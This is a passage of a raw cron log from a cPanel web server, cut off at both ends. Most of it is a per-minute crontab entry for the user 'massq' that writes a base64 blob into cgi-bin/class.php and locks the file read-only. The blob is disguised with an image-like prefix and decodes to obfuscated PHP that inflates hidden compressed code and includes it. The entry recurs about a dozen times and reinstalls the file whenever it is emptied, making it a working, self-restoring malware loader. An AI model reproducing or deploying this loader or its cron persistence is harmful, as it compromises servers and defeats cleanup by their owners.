QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:04:01 server CROND[21214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:05:01 server CROND[21271]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 11:05:01 server CROND[21273]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 11:05:01 server CROND[21272]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:05:01 server CROND[21275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:05:01 server CROND[21274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:06:01 server CROND[21503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:07:01 server CROND[21582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:08:01 server CROND[21636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:09:01 server CROND[21699]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 11:09:01 server CROND[21700]: (root) CMD (/usr/sbin/csf -u)
Apr 11 11:09:01 server CROND[21701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:10:01 server CROND[21766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:10:01 server CROND[21767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 11:10:01 server CROND[21768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:10:01 server CROND[21769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:11:01 server CROND[21981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:12:01 server CROND[22029]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 11:12:01 server CROND[22056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:13:01 server CROND[22176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:14:01 server CROND[22263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:15:01 server CROND[22319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 11:15:01 server CROND[22320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:15:01 server CROND[22321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 11:16:01 server CROND[22521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 11:17:01 server CROND[22576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 